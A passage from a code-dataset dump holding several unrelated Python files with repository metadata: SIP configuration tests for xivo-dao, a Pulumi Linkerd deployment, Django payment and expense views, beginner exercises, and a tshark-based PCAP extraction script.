application_uuid=application.uuid,\n context=self.context.name,\n )\n\n result = asterisk_conf_dao.find_sip_user_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=has_items(\n contains('context', f'stasis-wazo-app-{application.uuid}'),\n contains('set_var', f'TRANSFER_CONTEXT={self.context.name}'),\n )\n )\n ),\n )\n\n def test_that_the_transfer_context_is_added(self):\n endpoint = self.add_endpoint_sip(template=False)\n self.add_line(endpoint_sip_uuid=endpoint.uuid, context=self.context.name)\n\n result = asterisk_conf_dao.find_sip_user_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=has_items(\n contains('set_var', f'TRANSFER_CONTEXT={self.context.name}'),\n ),\n )\n ),\n )\n\n def test_that_the_transport_is_used_from_endpoint(self):\n transport = self.add_transport()\n endpoint = self.add_endpoint_sip(\n templates=[self.general_config_template, self.webrtc_config_template],\n transport_uuid=transport.uuid,\n template=False,\n )\n self.add_line(endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_user_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=has_items(\n contains('transport', transport.name),\n ),\n )\n ),\n )\n\n def test_that_the_transport_is_used_from_a_template(self):\n endpoint = self.add_endpoint_sip(\n templates=[self.general_config_template, self.webrtc_config_template],\n template=False,\n )\n self.add_line(endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_user_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=has_items(\n # inherited from the webrtc template\n contains('transport', 'transport-wss'),\n ),\n )\n ),\n )\n\n def test_that_the_main_extension_is_used_as_a_pickup_mark(self):\n endpoint = self.add_endpoint_sip(template=False)\n extension = self.add_extension()\n line = self.add_line(endpoint_sip_uuid=endpoint.uuid)\n self.add_line_extension(line_id=line.id, extension_id=extension.id)\n\n result = asterisk_conf_dao.find_sip_user_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=has_items(\n contains(\n 'set_var',\n f'PICKUPMARK={extension.exten}%{extension.context}',\n ),\n ),\n )\n ),\n )\n\n def test_that_aor_and_endpoint_mailboxes_contains_all_of_the_users_voicemail(self):\n user = self.add_user()\n voicemail = self.add_voicemail()\n self.link_user_and_voicemail(user, voicemail.uniqueid)\n endpoint = self.add_endpoint_sip(template=False)\n line = self.add_line(endpoint_sip_uuid=endpoint.uuid)\n self.add_user_line(user_id=user.id, line_id=line.id)\n\n result = asterisk_conf_dao.find_sip_user_settings()\n assert_that(\n result,\n contains(\n has_entries(\n aor_section_options=has_items(\n contains(\n 'mailboxes', f'{voicemail.number}@{voicemail.context}'\n ),\n ),\n endpoint_section_options=has_items(\n contains(\n 'mailboxes', f'{voicemail.number}@{voicemail.context}'\n ),\n ),\n )\n ),\n )\n\n def test_that_the_xivo_caller_id_var_is_set(self):\n caller_id = '\"Foo\" <123>'\n endpoint = self.add_endpoint_sip(\n endpoint_section_options=[['callerid', caller_id]],\n template=False,\n )\n self.add_line(endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_user_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=has_items(\n contains(\n 'set_var',\n f'XIVO_ORIGINAL_CALLER_ID={caller_id}',\n ),\n ),\n )\n ),\n )\n\n def test_that_the_channel_direction_var_is_set(self):\n endpoint = self.add_endpoint_sip(template=False)\n self.add_line(endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_user_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=has_items(\n ['set_var', 'WAZO_CHANNEL_DIRECTION=from-wazo'],\n ),\n )\n ),\n )\n\n def test_that_the_user_id_var_is_set(self):\n user = self.add_user()\n endpoint = self.add_endpoint_sip(template=False)\n line = self.add_line(endpoint_sip_uuid=endpoint.uuid)\n self.add_user_line(user_id=user.id, line_id=line.id)\n\n result = asterisk_conf_dao.find_sip_user_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=has_items(\n ['set_var', f'XIVO_USERID={user.id}'],\n ),\n )\n ),\n )\n\n def test_that_the_user_uuid_var_is_set(self):\n user = self.add_user()\n endpoint = self.add_endpoint_sip(template=False)\n line = self.add_line(endpoint_sip_uuid=endpoint.uuid)\n self.add_user_line(user_id=user.id, line_id=line.id)\n\n result = asterisk_conf_dao.find_sip_user_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=has_items(\n ['set_var', f'XIVO_USERUUID={user.uuid}'],\n # ['set_var', f'WAZO_USER_UUID={user.uuid}'],\n ),\n )\n ),\n )\n\n def test_that_the_tenant_uuid_var_is_set(self):\n endpoint = self.add_endpoint_sip(template=False)\n self.add_line(endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_user_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=has_items(\n ['set_var', f'__WAZO_TENANT_UUID={endpoint.tenant_uuid}'],\n ),\n )\n ),\n )\n\n def test_that_the_line_id_var_is_set(self):\n user = self.add_user()\n endpoint = self.add_endpoint_sip(template=False)\n line = self.add_line(endpoint_sip_uuid=endpoint.uuid)\n self.add_user_line(user_id=user.id, line_id=line.id)\n\n result = asterisk_conf_dao.find_sip_user_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=has_items(\n ['set_var', f'WAZO_LINE_ID={line.id}'],\n ),\n )\n ),\n )\n\n def test_that_all_section_reference_are_added(self):\n endpoint = self.add_endpoint_sip(\n templates=[self.general_config_template, self.webrtc_config_template],\n auth_section_options=[['username', 'foo']],\n template=False,\n )\n self.add_line(endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_user_settings()\n assert_that(\n result,\n contains(\n has_entries(\n aor_section_options=has_items(\n contains('type', 'aor'),\n ),\n auth_section_options=has_items(\n contains('type', 'auth'),\n ),\n endpoint_section_options=has_items(\n contains('type', 'endpoint'),\n contains('auth', endpoint.name),\n contains('aors', endpoint.name),\n ),\n )\n ),\n )\n\n def test_that_named_pickup_groups_are_added(self):\n pickup_user = self.add_pickup()\n pickup_group = self.add_pickup()\n\n sip = self.add_endpoint_sip(template=False)\n ule = self.add_user_line_with_exten(endpoint_sip_uuid=sip.uuid)\n self.add_pickup_member_user(pickup_user, ule.user_id, category='member')\n self.add_pickup_member_group(pickup_group, ule.user_id, category='member')\n\n result = asterisk_conf_dao.find_sip_user_settings()\n for key, value in result[0]['endpoint_section_options']:\n if key == 'named_pickup_group':\n group_ids = value.split(',')\n assert_that(\n group_ids,\n contains_inanyorder(\n str(pickup_user.id),\n str(pickup_group.id),\n ),\n )\n break\n else:\n self.fail(f'no \"named_pickup_group\" in {result[0]}')\n\n def test_that_named_call_groups_are_added(self):\n pickup_user = self.add_pickup()\n pickup_group = self.add_pickup()\n\n sip = self.add_endpoint_sip(template=False)\n ule = self.add_user_line_with_exten(endpoint_sip_uuid=sip.uuid)\n self.add_pickup_member_user(pickup_user, ule.user_id, category='pickup')\n self.add_pickup_member_group(pickup_group, ule.user_id, category='pickup')\n\n result = asterisk_conf_dao.find_sip_user_settings()\n for key, value in result[0]['endpoint_section_options']:\n if key == 'named_call_group':\n group_ids = value.split(',')\n assert_that(\n group_ids,\n contains_inanyorder(\n str(pickup_user.id),\n str(pickup_group.id),\n ),\n )\n break\n else:\n self.fail(f'no \"named_call_group\" in {result[0]}')\n\n def test_that_doubles_are_removed(self):\n template = self.add_endpoint_sip(\n template=True, endpoint_section_options=[['webrtc', 'true']]\n )\n endpoint = self.add_endpoint_sip(\n templates=[template],\n template=False,\n endpoint_section_options=[\n ['codecs', '!all,ulaw'],\n ['webrtc', 'true'],\n ],\n )\n line = self.add_line(endpoint_sip_uuid=endpoint.uuid, context=self.context.name)\n\n result = asterisk_conf_dao.find_sip_user_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=contains_inanyorder(\n contains('type', 'endpoint'), # only showed once\n contains('codecs', '!all,ulaw'),\n contains('webrtc', 'true'), # only showed once\n contains(\n 'set_var', f'__WAZO_TENANT_UUID={endpoint.tenant_uuid}'\n ),\n contains('set_var', 'WAZO_CHANNEL_DIRECTION=from-wazo'),\n contains('set_var', f'WAZO_LINE_ID={line.id}'),\n contains('context', self.context.name),\n contains('set_var', f'TRANSFER_CONTEXT={self.context.name}'),\n )\n )\n ),\n )\n\n def test_that_redefined_options_are_removed(self):\n template = self.add_endpoint_sip(\n template=True, endpoint_section_options=[['webrtc', 'yes']]\n )\n endpoint = self.add_endpoint_sip(\n templates=[template],\n template=False,\n endpoint_section_options=[\n ['webrtc', 'no'],\n ],\n )\n self.add_line(endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_user_settings()\n assert_that(\n result,\n all_of(\n contains(\n has_entries(\n endpoint_section_options=has_items(\n contains('type', 'endpoint'),\n contains('webrtc', 'no'), # From the endpoint\n )\n )\n ),\n not_(\n contains(\n has_entries(\n endpoint_section_options=has_items(\n contains('webrtc', 'yes'), # From the template\n )\n )\n ),\n ),\n ),\n )\n\n\nclass TestFindSipTrunkSettings(BaseFindSIPSettings):\n def setUp(self):\n super().setUp()\n registration_trunk_body = {\n 'name': 'registration_trunk',\n 'label': 'Global trunk with registration configuration',\n 'templates': [self.general_config_template],\n 'registration_section_options': [\n ['retry_interval', '20'],\n ['max_retries', '0'],\n ['auth_rejection_permanent', 'off'],\n ['forbidden_retry_interval', '30'],\n ['fatal_retry_interval', '30'],\n ['max_retries', '10000'],\n ],\n 'template': True,\n }\n twilio_trunk_body = {\n 'name': 'twilio',\n 'label': 'Twilio specific trunk configuration',\n 'template': True,\n 'identify_section_options': [\n ['match', '54.172.60.0'],\n ['match', '54.172.60.1'],\n ['match', '54.172.60.2'],\n ],\n }\n self.registration_trunk_template = self.add_endpoint_sip(\n **registration_trunk_body\n )\n self.twilio_template = self.add_endpoint_sip(**twilio_trunk_body)\n self.context = self.add_context()\n\n def test_given_no_sip_accounts_then_returns_empty_list(self):\n result = asterisk_conf_dao.find_sip_trunk_settings()\n assert_that(result, contains())\n\n def test_given_sip_account_is_not_category_user_then_returns_empty_list(self):\n self.add_endpoint_sip(template=False)\n result = asterisk_conf_dao.find_sip_trunk_settings()\n assert_that(result, contains())\n\n def test_given_sip_account_is_deactivated_then_returns_empty_list(self):\n self.add_endpoint_sip(template=False)\n result = asterisk_conf_dao.find_sip_trunk_settings()\n assert_that(result, contains())\n\n def test_given_sip_account_is_associated_to_a_line_then_returns_empty_list(self):\n endpoint = self.add_endpoint_sip(template=False)\n self.add_line(endpoint_sip_uuid=endpoint.uuid)\n result = asterisk_conf_dao.find_sip_trunk_settings()\n assert_that(result, contains())\n\n def test_that_templates_are_included(self):\n endpoint = self.add_endpoint_sip(\n label='my trunk',\n template=False,\n templates=[self.registration_trunk_template, self.twilio_template],\n endpoint_section_options=[\n ['callerid', '\"Foo Bar\" <101>'],\n ],\n auth_section_options=[\n ['username', 'iddqd'],\n ['password', 'idbehold'],\n ],\n registration_outbound_auth_section_options=[\n ['username', 'outbound_reg_username']\n ],\n )\n self.add_trunk(endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_trunk_settings()\n assert_that(\n result,\n contains_inanyorder(\n has_entries(\n name=endpoint.name,\n label=endpoint.label,\n aor_section_options=has_items(\n contains('qualify_frequency', '60'),\n contains('maximum_expiration', '3600'),\n contains('minimum_expiration', '60'),\n contains('default_expiration', '120'),\n contains('max_contacts', '1'),\n contains('remove_existing', 'true'),\n ),\n auth_section_options=has_items(\n contains('username', 'iddqd'),\n contains('password', 'idbehold'),\n ),\n endpoint_section_options=has_items(\n contains('allow', '!all,ulaw'),\n contains('allow_subscribe', 'yes'),\n contains('allow_transfer', 'yes'),\n contains('use_ptime', 'yes'),\n contains('rtp_timeout', '7200'),\n contains('rtp_timeout_hold', '0'),\n contains('timers_sess_expires', '600'),\n contains('timers_min_se', '90'),\n contains('trust_id_inbound', 'yes'),\n contains('dtmf_mode', 'rfc4733'),\n contains('send_rpid', 'yes'),\n contains('inband_progress', 'no'),\n contains('direct_media', 'no'),\n contains('callerid', '\"Foo Bar\" <101>'),\n ),\n identify_section_options=has_items(\n contains('match', '54.172.60.0'),\n contains('match', '54.172.60.1'),\n contains('match', '54.172.60.2'),\n ),\n registration_section_options=has_items(\n contains('outbound_auth', f'auth_reg_{endpoint.name}'),\n contains('retry_interval', '20'),\n contains('auth_rejection_permanent', 'off'),\n contains('forbidden_retry_interval', '30'),\n contains('fatal_retry_interval', '30'),\n contains('max_retries', '10000'),\n ),\n registration_outbound_auth_section_options=has_items(\n contains('username', 'outbound_reg_username'),\n ),\n outbound_auth_section_options=has_items(),\n ),\n ),\n )\n\n def test_that_the_trunk_context_is_used(self):\n endpoint = self.add_endpoint_sip(template=False)\n self.add_trunk(endpoint_sip_uuid=endpoint.uuid, context=self.context.name)\n\n result = asterisk_conf_dao.find_sip_trunk_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=has_items(\n contains('context', self.context.name)\n ),\n )\n ),\n )\n\n def test_that_the_transport_is_used_from_endpoint(self):\n transport = self.add_transport()\n endpoint = self.add_endpoint_sip(\n templates=[self.registration_trunk_template],\n transport_uuid=transport.uuid,\n template=False,\n )\n self.add_trunk(endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_trunk_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=has_items(\n contains('transport', transport.name),\n ),\n )\n ),\n )\n\n def test_that_endpoint_is_included_in_registration_using_line(self):\n endpoint = self.add_endpoint_sip(\n template=False, registration_section_options=[['line', 'yes']]\n )\n self.add_trunk(endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_trunk_settings()\n assert_that(\n result,\n contains(\n has_entries(\n registration_section_options=has_items(\n contains('endpoint', endpoint.name),\n )\n )\n ),\n )\n\n def test_that_the_transport_is_used_from_a_template(self):\n transport = self.add_transport()\n template = self.add_endpoint_sip(template=True, transport=transport)\n endpoint = self.add_endpoint_sip(\n templates=[\n self.general_config_template,\n self.registration_trunk_template,\n template,\n ],\n template=False,\n )\n self.add_trunk(endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_trunk_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=has_items(\n contains('transport', transport.name),\n ),\n )\n ),\n )\n\n def test_that_all_sections_are_generated_and_cross_references(self):\n endpoint = self.add_endpoint_sip(\n template=False,\n aor_section_options=[['contact', 'sip:name@proxy:port']],\n auth_section_options=[['username', 'username']],\n endpoint_section_options=[['identify_by', 'auth_username,username']],\n registration_section_options=[\n ['expiration', '120'],\n ['client_uri', 'sip:foo@bar'],\n ],\n registration_outbound_auth_section_options=[['password', 'secret']],\n identify_section_options=[['match', '192.168.1.1']],\n outbound_auth_section_options=[['username', 'outbound']],\n )\n self.add_trunk(endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_trunk_settings()\n assert_that(\n result,\n contains(\n has_entries(\n aor_section_options=has_items(\n contains('type', 'aor'),\n contains('contact', 'sip:name@proxy:port'),\n ),\n auth_section_options=has_items(\n contains('type', 'auth'),\n contains('username', 'username'),\n ),\n endpoint_section_options=has_items(\n contains('type', 'endpoint'),\n contains('aors', endpoint.name),\n contains('auth', endpoint.name),\n contains('identify_by', 'auth_username,username'),\n contains('outbound_auth', f'outbound_auth_{endpoint.name}'),\n ),\n registration_section_options=has_items(\n contains('type', 'registration'),\n contains('expiration', '120'),\n contains('outbound_auth', f'auth_reg_{endpoint.name}'),\n ),\n registration_outbound_auth_section_options=has_items(\n contains('type', 'auth'),\n contains('password', 'secret'),\n ),\n identify_section_options=has_items(\n contains('type', 'identify'),\n contains('match', '192.168.1.1'),\n contains('endpoint', endpoint.name),\n ),\n outbound_auth_section_options=has_items(\n contains('type', 'auth'),\n contains('username', 'outbound'),\n ),\n )\n ),\n )\n\n def test_that_template_references_are_not_inherited(self):\n template = self.add_endpoint_sip(\n template=True,\n endpoint_section_options=[['callerid', 'foo']],\n auth_section_options=[['auth_type', 'userpass']],\n aor_section_options=[['max_contacts', '42']],\n registration_section_options=[['expiration', '10']],\n registration_outbound_auth_section_options=[['auth_type', 'userpass']],\n identify_section_options=[['match', '192.168.1.2']],\n outbound_auth_section_options=[['auth_type', 'userpass']],\n )\n endpoint = self.add_endpoint_sip(\n template=False,\n templates=[template],\n aor_section_options=[['contact', 'sip:name@proxy:port']],\n auth_section_options=[['username', 'username']],\n endpoint_section_options=[['identify_by', 'auth_username,username']],\n registration_section_options=[\n ['expiration', '120'],\n ['client_uri', 'sip:foo@bar'],\n ],\n registration_outbound_auth_section_options=[['password', 'secret']],\n identify_section_options=[['match', '192.168.1.1']],\n outbound_auth_section_options=[['username', 'outbound']],\n )\n self.add_trunk(endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_trunk_settings()\n assert_that(\n result,\n not_(\n contains(\n has_entries(\n endpoint_section_options=has_items(\n ['aors', template.name],\n ['auth', template.name],\n ),\n registration_section_options=has_items(\n ['outbound_auth', f'auth_reg_{template.name}']\n ),\n identify_section_options=has_items(\n ['endpoint', template.name],\n ),\n )\n )\n ),\n )\n\n def test_that_doubles_are_removed(self):\n template = self.add_endpoint_sip(\n template=True, endpoint_section_options=[['webrtc', 'true']]\n )\n endpoint = self.add_endpoint_sip(\n templates=[template],\n template=False,\n endpoint_section_options=[\n ['codecs', '!all,ulaw'],\n ['webrtc', 'true'],\n ],\n )\n self.add_trunk(endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_trunk_settings()\n assert_that(\n result,\n contains(\n has_entries(\n endpoint_section_options=contains_inanyorder(\n contains('type', 'endpoint'), # only showed once\n contains('codecs', '!all,ulaw'),\n contains('webrtc', 'true'), # only showed once\n contains(\n 'set_var', f'__WAZO_TENANT_UUID={endpoint.tenant_uuid}'\n ),\n )\n )\n ),\n )\n\n def test_that_redefined_options_are_removed(self):\n template = self.add_endpoint_sip(\n template=True, endpoint_section_options=[['webrtc', 'yes']]\n )\n endpoint = self.add_endpoint_sip(\n templates=[template],\n template=False,\n endpoint_section_options=[\n ['webrtc', 'no'],\n ],\n )\n self.add_trunk(endpoint_sip_uuid=endpoint.uuid)\n\n result = asterisk_conf_dao.find_sip_trunk_settings()\n assert_that(\n result,\n all_of(\n contains(\n has_entries(\n endpoint_section_options=has_items(\n contains('type', 'endpoint'),\n contains('webrtc', 'no'), # From the endpoint\n )\n )\n ),\n not_(\n contains(\n has_entries(\n endpoint_section_options=has_items(\n contains('webrtc', 'yes'), # From the template\n )\n )\n ),\n ),\n ),\n )\n","repo_name":"wazo-platform/xivo-dao","sub_path":"xivo_dao/tests/test_asterisk_conf_dao.py","file_name":"test_asterisk_conf_dao.py","file_ext":"py","file_size_in_byte":84627,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"28"} +{"seq_id":"18720724757","text":"import os\n\nimport pulumi\nimport pulumi_kubernetes as kubernetes\nfrom pulumi import log\nfrom pulumi_kubernetes.core.v1 import Namespace\n\nfrom base.const import DEPLOY_NAME_PREFIX, REGION, BASE_PATH\nfrom base.utils import read_file\n\nCERT_PATH = f'{BASE_PATH}/linkerd/'\nca = os.path.join(CERT_PATH, f'ca.crt')\ncrt = os.path.join(CERT_PATH, f'issuer.crt')\nkey = os.path.join(CERT_PATH, f'issuer.key')\n\n\ndef create_linkerd_ns():\n \"\"\"\n :return:\n \"\"\"\n log.info('[mon.create_linkerd_ns]')\n ns = Namespace(\n f'linkerd{DEPLOY_NAME_PREFIX}',\n metadata={\n 'name': 'linkerd',\n },\n )\n return ns\n\n\ndef create_linkerd_viz_ns():\n \"\"\"\n :return:\n \"\"\"\n log.info('[mon.create_linkerd_viz_ns]')\n ns = Namespace(\n f'linkerd-viz{DEPLOY_NAME_PREFIX}',\n metadata={\n 'name': 'linkerd-viz',\n 'labels': {\n 'linkerd.io/extension': 'viz',\n 'pod-security.kubernetes.io/enforce': 'privileged',\n },\n },\n )\n return ns\n\n\ndef create_linkerd_crds(\n provider,\n namespace,\n):\n \"\"\"\n :param provider:\n :param namespace:\n :return:\n \"\"\"\n log.info('[mon.create_linkerd_crds]')\n helm = kubernetes.helm.v3.Release(\n f\"linkerd-crds{DEPLOY_NAME_PREFIX}\",\n kubernetes.helm.v3.ReleaseArgs(\n chart=\"linkerd-crds\",\n version=\"1.8.0\",\n repository_opts=kubernetes.helm.v3.RepositoryOptsArgs(\n repo=\"https://helm.linkerd.io/stable\",\n ),\n namespace=namespace.metadata.name,\n create_namespace=False,\n values={\n \"logLevel\": \"debug\",\n \"replicaCount\": \"1\",\n \"region\": REGION,\n },\n ),\n pulumi.ResourceOptions(\n provider=provider,\n )\n )\n return helm\n\n\ndef create_linkerd_control_plane(\n provider,\n namespace,\n):\n log.info('[mon.create_linkerd_control_plane]')\n cm = kubernetes.core.v1.ConfigMap(\n f\"linkerd-identity-trust-roots{DEPLOY_NAME_PREFIX}\",\n metadata={\n 'namespace': namespace.metadata.name,\n 'name': 'linkerd-identity-trust-roots'\n },\n data={\n 'ca-bundle.crt': read_file(ca)\n },\n opts=pulumi.ResourceOptions(provider=provider))\n secret = kubernetes.core.v1.Secret(\n f\"linkerd-identity-issuer{DEPLOY_NAME_PREFIX}\",\n metadata={\n 'namespace': namespace.metadata.name,\n 'name': 'linkerd-identity-issuer',\n },\n string_data={\n 'tls.crt': read_file(crt),\n 'tls.key': read_file(key),\n 'ca.crt': read_file(ca),\n },\n type='kubernetes.io/tls',\n opts=pulumi.ResourceOptions(provider=provider)\n )\n helm = kubernetes.helm.v3.Release(\n f\"linkerd-control-plane{DEPLOY_NAME_PREFIX}\",\n kubernetes.helm.v3.ReleaseArgs(\n chart=\"linkerd-control-plane\",\n version=\"1.15.0\",\n repository_opts=kubernetes.helm.v3.RepositoryOptsArgs(\n repo=\"https://helm.linkerd.io/stable\",\n ),\n namespace=namespace.metadata.name,\n values={\n \"logLevel\": \"debug\",\n \"replicaCount\": \"1\",\n \"region\": REGION,\n \"identity\": {\n \"externalCA\": True,\n \"issuer\": {\n \"scheme\": \"kubernetes.io/tls\"\n }\n },\n \"clusterNetworks\": '172.16.0.0/16,10.100.0.0/16',\n \"identityTrustAnchorsPEM\": \"ca.crt\",\n },\n ),\n pulumi.ResourceOptions(\n provider=provider,\n depends_on=[cm, secret]\n )\n )\n\n\ndef create_linkerd_viz(\n provider, namespace\n):\n helm = kubernetes.helm.v3.Release(\n f\"linkerd-viz{DEPLOY_NAME_PREFIX}\",\n kubernetes.helm.v3.ReleaseArgs(\n chart=\"linkerd-viz\",\n version=\"30.11.0\",\n repository_opts=kubernetes.helm.v3.RepositoryOptsArgs(\n repo=\"https://helm.linkerd.io/stable\",\n ),\n namespace=namespace.metadata.name,\n values={\n \"logLevel\": \"debug\",\n \"replicaCount\": \"1\",\n \"region\": REGION,\n },\n ),\n pulumi.ResourceOptions(\n provider=provider,\n )\n )\n\n\ndef setup(provider):\n \"\"\"\n :param provider:\n :return:\n \"\"\"\n log.info('[mon.mon_setup]')\n namespace = create_linkerd_ns()\n create_linkerd_crds(\n provider=provider,\n namespace=namespace\n )\n create_linkerd_control_plane(\n provider,\n namespace,\n )\n namespace = create_linkerd_viz_ns()\n create_linkerd_viz(\n provider=provider,\n namespace=namespace\n )\n","repo_name":"omidraha/pulumi_example","sub_path":"linkerd/linkerd.py","file_name":"linkerd.py","file_ext":"py","file_size_in_byte":4895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"10774505019","text":"from django.shortcuts import redirect\n\nfrom ..views import gateway\n\nfrom django.contrib import messages\n\n\nfrom django.views.generic.edit import FormView\n\nfrom payment.forms.user_registration_form import UserRegistrationForm\n\n\n\n\nclass MobilePhone:\n def __init__(self, country_code, area_code, number) -> None:\n self.country_code = country_code\n self.area_code = area_code\n self.number = number\n\n\nclass Phones:\n def __init__(self, mobile_phone) -> None:\n self.mobile_phone = mobile_phone\n\n\nclass Customer:\n def __init__(self, name, email, document, type, phones) -> None:\n self.name = name\n self.email = email\n self.document = document\n self.type = type\n self.phones = phones\n\n\nclass UserRegistrationFormView(FormView):\n template_name = \"user_registration.html\"\n form_class = UserRegistrationForm\n success_url = \"/\"\n\n def form_valid(self, form):\n # This method is called when valid form data has been POSTed.\n # It should return an HttpResponse.\n data = form.cleaned_data\n obj_mobile_phone = MobilePhone(\n country_code=data.get(\"country_code\"),\n area_code=data.get(\"area_code\"),\n number=data.get(\"number\"),\n ).__dict__\n\n obj_phones = Phones(mobile_phone=obj_mobile_phone).__dict__\n\n payload = Customer(\n name=data.get(\"name\"),\n email=data.get(\"email\"),\n document=data.get(\"document\"),\n type=\"individual\",\n phones=obj_phones,\n ).__dict__\n\n try:\n gateway.insert_customer(payload)\n except Exception as e:\n messages.add_message(self.request, messages.ERROR, str(e))\n # form.add_error(None, str(e))\n return self.form_invalid(form)\n messages.add_message(\n self.request, messages.SUCCESS, message=\"Registro feito com sucesso.\"\n )\n return redirect(self.success_url)\n","repo_name":"FranklinAmrl/pagarme-payment-testbed","sub_path":"payment/views/user_registration.py","file_name":"user_registration.py","file_ext":"py","file_size_in_byte":1974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"16299574199","text":"def exibir(msg, cor='\\033[m'):\r\n tam = len(msg) + 2\r\n print(f'{cor}~' * tam)\r\n print(f' {msg} ')\r\n print(f'~' * tam)\r\n\r\n\r\ndef exibeHelp(bib):\r\n exibir(f'Acessando o manual do comando \"{bib}\"', '\\033[30;44m')\r\n print('\\033[7;30m')\r\n help(bib)\r\n\r\n\r\nwhile True:\r\n exibir('Sistema de ajuda PyHelp', '\\033[30;43m')\r\n funct = str(input(f'\\033[mFunção ou Biblioteca: '))\r\n if funct == 'FIM':\r\n break\r\n exibeHelp(funct)\r\nexibir('Fim')\r\n","repo_name":"leandroballa/python","sub_path":"learning/mod03/ex106.py","file_name":"ex106.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"23048706106","text":"def sum_numbers(a, b):\n result = a + b\n return result\n\n\ndef subtract(result, c):\n subtraction = result - c\n return subtraction\n\n\nfirst_num = int(input())\nsecond_num = int(input())\nthird_num = int(input())\nprint(subtract(sum_numbers(first_num, second_num), third_num))","repo_name":"ChrisOfRivia/SoftUni-Software-Engineering-Python","sub_path":"SoftUni May_2022 (Programming Fundamentals)/4. Functions/Exercise (Friday)/2. Add and Subtract.py","file_name":"2. Add and Subtract.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"46296619621","text":"#!/usr/bin/env python3\n\nimport pickle\nimport pandas as pd\nimport numpy as np\nimport os\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nimport subprocess\nfrom multiprocessing import Pool\nfrom datetime import datetime\n\nd = pd.read_csv('capture.csv')\nresults = pickle.load(open('results.pickle', 'rb'))\nobs = results['obs']\nparams = results['params']\n\nobs_indices = obs[0][:,-1].astype(int)\n\n# start tshark to extract PCAPs for each observer in the pcaps directory \nos.makedirs('pcaps/logs', exist_ok=True)\ncmds = []\nfor i,o in enumerate(obs_indices[:200]):\n data = d.iloc[o,:]\n time_filter = 'frame.time_epoch > %.3f and frame.time_epoch < %.3f' % (data['flowStartMilliseconds']/1000 - 5*60, data['flowStartMilliseconds']/1000+data['flowDurationMilliseconds']/1000 + 5*60)\n conv_filter = 'ip.addr eq %s and ip.addr eq %s' % (data['sourceIPAddress'], data['destinationIPAddress'])\n if data['protocolIdentifier'] == 6:\n port_filter = ' and (tcp.port eq %d and tcp.port eq %d)' % (data['sourceTransportPort'], data['destinationTransportPort'])\n elif data['protocolIdentifier'] == 17:\n port_filter = ' and (udp.port eq %d and udp.port eq %d)' % (data['sourceTransportPort'], data['destinationTransportPort'])\n else:\n port_filter = ''\n cmd = \"tshark -r capture.pcap -w pcaps/%d.pcap -M 200000 '(%s) and (%s)%s'\" % (i, time_filter, conv_filter, port_filter)\n print (cmd)\n cmds.append(cmd)\n\ndef start_tshark(i):\n with open('pcaps/logs/%d' % i, 'wb') as out:\n subprocess.run(cmds[i], shell=True, stdout=out, stderr=out)\n return 0\nwith Pool(200) as p:\n p.map(start_tshark, range(len(cmds)))\n","repo_name":"CN-TU/tpsdos-experiments","sub_path":"m2m/extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"} +{"seq_id":"13292907397","text":"from django.shortcuts import render\nfrom .models import Category, Expense\nfrom django.db.models import Sum\nfrom django.http import JsonResponse\nfrom django.contrib.auth.decorators import login_required\n\n@login_required\ndef index(request):\n categories = []\n _categories = Category.objects.all()\n for category in _categories:\n total_expenditure = category.expense_set.filter(owner=request.user).aggregate(Sum('amount'))['amount__sum'] or 0\n categories.append({\n 'category': category,\n 'total_expenditure': total_expenditure\n })\n\n expenses = Expense.objects.filter(owner=request.user).order_by('-date')\n context = { 'categories': categories, 'expenses': expenses }\n return render(request, 'core/index.html', context)\n\n@login_required\ndef new_expense(request):\n res = { 'message': '' }\n code = 200\n if request.method == 'POST':\n _category = request.POST['category']\n category = Category.objects.filter(name=_category).first()\n name = request.POST['name']\n amount = request.POST['amount']\n date = request.POST['date']\n try:\n new_expense = Expense.objects.create(category=category, amount=amount, name=name, date=date, 